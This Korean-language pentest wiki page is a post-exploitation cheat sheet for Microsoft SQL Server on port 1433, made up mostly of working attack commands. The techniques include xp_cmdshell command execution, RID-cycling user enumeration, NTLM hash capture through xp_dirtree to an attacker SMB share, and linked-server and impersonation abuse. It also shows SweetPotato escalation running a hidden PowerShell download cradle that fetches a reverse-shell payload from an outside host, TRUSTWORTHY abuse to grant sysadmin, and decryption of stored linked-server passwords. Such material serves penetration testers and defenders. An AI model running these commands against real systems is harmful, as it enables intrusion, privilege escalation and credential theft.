> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/post-exploit/protocols/1433-mssql.md).

# 1433 - mssql

MSSQL(Microsoft SQL Server)는 마이크로소프트에서 개발한 관계형 데이터베이스입니다. 다른 데이터베이스 서비스와 다르게 Windows 사용자 계정이나 AD 계정으로 인증이 가능한 통합 인증 모드를 지원합니다.

### XP\_CMDSHELL

xp\_cmdshell은 사용자가 SQL 콘솔에서 해당 SQL 서비스가 실행되는 Windows 시스템에 원격으로 명령을 실행할 수 있도록 지원하는 프로시저입니다.

{% hint style="info" %}
이 기능은 기본적으로 비활성화 상태이며 활성화와 실행에는 각각 sysadmin 권한이 필요합니다.
{% endhint %}

<pre class="language-sql"><code class="lang-sql"><strong># 활성화 여부 확인
</strong>SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell';

<strong># XP_CMDSHELL 프로시저 활성화 및 저장
</strong>EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

<strong># 원격 명령 실행
</strong>EXEC xp_cmdshell 'whoami';

<strong># XP_CMDSHELL 프로시저 비활성화 및 저장
</strong>EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;
EXEC sp_configure 'Show Advanced Options', 0; RECONFIGURE;
</code></pre>

### RID Cycling

mssql 내장 함수 중 SUSER\_SID는 NetBIOS를 포함한 도메인 계정 이름을 입력했을 때 SID를 반환하며, SUSER\_SNAME은 SID를 입력했을 때 계정 이름을 반환합니다.

{% hint style="info" %}
SUSER\_SID 함수는 mssql 서버에 등록된 도메인 계정에 한해서만 조회 가능합니다.
{% endhint %}

이 두가지 함수를 이용하여 mssql 연결이 가능한 상태에서 도메인 객체의 sid 조회를 통해 [#rid-cycling](#rid-cycling "mention") 공격으로 연계가 가능합니다.

<pre class="language-bash"><code class="lang-bash"><strong># mssql에 등록된 도메인 계정을 통해 도메인 SID 획득
</strong>SELECT sys.fn_varbintohexstr(SUSER_SID('contoso\Administrator'))

<strong># python으로 코드 제작 후 파일로 저장
</strong>for i in range(500, 10000 + 1, 1):
    print(f"select (SUSER_SNAME(SID_BINARY(N'&#x3C;SID>-{i}')))")
    
<strong># impacket의 file 플래그를 사용하여 쿼리 자동 삽입 후 도메인 유저 결과 저장
</strong>impacket-mssqlclient contoso/sa:'Password123!' -file rids.txt | tee result.txt

<strong># result.txt에서 유효한 도메인 유저 목록만 추출
</strong>cat result.txt | grep --text -i contoso | cut -d '\' -f 2 > DomainUsers.txt
</code></pre>

### NTLM 탈취

xp\_dirtree는 mssql 콘솔에서 서버의 시스템 디렉토리를 열거할 수 있는 dir 명령입니다. Windows는 공유 폴더에 접근 시 자동으로 현재 세션으로 ntlm 인증을 하기 때문에 xp\_dirtree를 이용하여 대상의 ntlm 챌린지를 탈취하고 이를 크랙할 수 있습니다.

<pre class="language-bash"><code class="lang-bash"><strong># ntlm 탈취를 위한 smb 서버 실행
</strong>impacket-smbserver share . -smb2support

<strong># xp_dirtree를 이용하여 공격자 smb 서버 열거
</strong>xp_dirtree \\192.168.1.23\share
</code></pre>

### Linked Server

mssql은 다른 SQL 서버와 연결을 통해 원격 쿼리 및 명령 실행을 지원합니다. 원격 쿼리 및 명령을 실행할 때 최종 권한 검증은 목적지 서버를 실행하는 주체로부터 발생합니다.

따라서 출발지 서버인 A 서버에서 xp\_cmdshell 실행 권한이 없는 일반 사용자 계정이라 하더라도 sa 권한으로 실행되는 B 서버에 대한 원격 쿼리를 통해 xp\_cmdshell 실행이 가능합니다.

<pre class="language-sql"><code class="lang-sql"><strong># mssql과 연결된 링크 서버 목록 열거
</strong>EXEC sp_linkedservers;

<strong># 링크 서버에 대한 원격 쿼리 실행
</strong>SELECT * FROM OPENQUERY("LinkedServer-CONTOSO", 'select @@servername');

<strong># 링크 서버의 xp_cmdshell 프로시저 활성화 및 저장
</strong>EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [LinkedServer-CONTOSO]
EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [LinkedServer-CONTOSO]

<strong># 프로시저가 사용 가능하도록 rpc 활성화
</strong>EXEC sp_serveroption N'LinkedServer-CONTOSO', 'rpc','true';
EXEC sp_serveroption N'LinkedServer-CONTOSO', 'rpc out','true';

<strong># 링크 서버로의 원격 명령 실행
</strong>EXEC('xp_cmdshell ''whoami''') AT [LinkedServer-CONTOSO]
</code></pre>

### User Impersonation

관리자가 명시적으로 각 사용자에게 특정 사용자의 권한을 위임받을 수 있는 객체를 설정했다면, 공격자는 해당 세션에서 설정된 위임 구성을 통해 다른 사용자의 권한으로 활동할 수 있습니다.&#x20;

<pre class="language-sql"><code class="lang-sql"><strong># 가장 권한을 위임받은 객체 목록 열거
</strong>SELECT name FROM sys.server_permissions JOIN sys.server_principals ON grantor_principal_id = principal_id WHERE permission_name = 'IMPERSONATE';

<strong># 위임받은 객체의 권한을 가장
</strong>EXECUTE AS LOGIN = 'sa';

<strong># 원래 사용자 세션으로 복귀
</strong>REVERT;
</code></pre>

### SeImpersonatePrivilege

최신 mssql 설치 시 기본적으로 서비스는 SeImpersonatePrivilege 권한을 가진 `NT Service/MSSQLSERVER`로 실행됩니다.

공격자는 이 사용자 권한을 이용한 로컬 권한 상승 기법으로 시스템 권한 탈취가 가능합니다.

<pre class="language-powershell"><code class="lang-powershell"><strong># 페이로드 주소를 Base64 인코딩
</strong>$str = 'IEX ((new-object net.webclient).downloadstring("http://wiki.com/reverse"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

<strong># Base64 인코딩 된 스크립트를 삽입하여 System 권한으로 실행
</strong>.\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hidden -enc &#x3C;Base64 Encoded Command>"
</code></pre>

### TRUSTWORTHY

<pre class="language-sql"><code class="lang-sql"><strong># 데이터베이스의 TRUSTWORTHY 활성화 여부 확인
</strong>SELECT name, is_trustworthy_on  FROM sys.databases;

<strong># 가장할 수 있는 사용자 목록 열거
</strong>SELECT name FROM sys.server_permissions JOIN sys.server_principals ON grantor_principal_id = principal_id WHERE permission_name = 'IMPERSONATE';

<strong># 현재 사용자 / 가장한 사용자 콘솔에서 유저가 TRUSTWORTHY가 활성화된 데이터베이스의 오너인지 확인
</strong>SELECT IS_ROLEMEMBER('db_owner');

<strong># vintim 사용자 계정을 가장하여 권한상승 프로시서 생성 및 활성화 후 삭제
</strong>CREATE PROCEDURE sp_privesc WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'pentest', 'sysadmin';
EXECUTE sp_privesc;
DROP PROCEDURE sp_privesc;

<strong># pentest 사용자 세션으로 돌아와서 권한 정보 확인
</strong>REVERT;
SELECT IS_SRVROLEMEMBER('sysadmin');

<strong># pentest 사용자 권한 되돌리기
</strong>EXEC sp_dropsrvrolemember 'ws_dev', 'sysadmin';

</code></pre>

TRUSTWORTHY에 대한 자세한 설명은 [TRUSTWORTHY](/etc/cs/trustworthy.md)를 참고하세요.

### Decrypting Linked Server Passwords

<pre class="language-sql"><code class="lang-sql"><strong># 다른 사용자가 DAC 연결을 수립했는지 점검
</strong>SELECT * FROM sys.dm_exec_sessions WHERE endpoint_id = 1

<strong># 연결된 서버와 유저 이름, 암호화된 비밀번호 열거
</strong>SELECT sysservers.srvname, syslnklgns.name, syslnklgns.pwdhash FROM master.sys.syslnklgns INNER JOIN master.sys.sysservers ON syslnklgns.srvid = sysservers.srvid WHERE LEN(pwdhash) > 0;

<strong># SMK 열거
</strong>SELECT * FROM sys.key_encryptions;
</code></pre>

```powershell
$encryptedData = <Encrypted SMK>;
$encryptedData = $encryptedData.Substring(18); # Remove 0x and padding
$encryptedData = [byte[]] -split ($encryptedData -replace '..', '0x$& ');

$entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy").Entropy;

Add-Type -AssemblyName System.Security;
$SMK = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedData, $entropy, 'LocalMachine');
Write-Host (($SMK|ForEach-Object ToString X2) -join '');
```

<pre class="language-sql"><code class="lang-sql"><strong># 초기화 벡터 &#x26; 암호문 질의
</strong>SELECT
	name,
	SUBSTRING(pwdhash, 5, 16) AS 'IV',
	SUBSTRING(pwdhash, 21, LEN(pwdhash) - 20) AS 'Ciphertext'
FROM sys.syslnklgns
WHERE LEN(pwdhash) > 0;
</code></pre>

이제 세가지 정보를 가지고 CyberChef에서 AES 복호화를 할 수 있습니다.

{% embed url="<https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D,'CBC','Hex','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)Decode_text('UTF-16LE%20(1200)>')" %}

Decrypting Linked Server Passwords에 대한 자세한 정보는 [Link Server Passwords](/etc/cs/link-server-passwords.md)를 참고하세요.

## References

{% embed url="<https://learn.microsoft.com/en-us/previous-versions/sql/sql-server-2008-r2/ms178068(v=sql.105)?redirectedfrom=MSDN>" %}

{% embed url="<https://www.netspi.com/blog/technical-blog/adversary-simulation/decrypting-mssql-database-link-server-passwords/>" %}

{% embed url="<https://blog.naver.com/jooung86/220628439661>" %}

{% embed url="<https://learn.microsoft.com/ko-kr/sql/t-sql/functions/suser-sname-transact-sql?view=sql-server-ver17>" %}
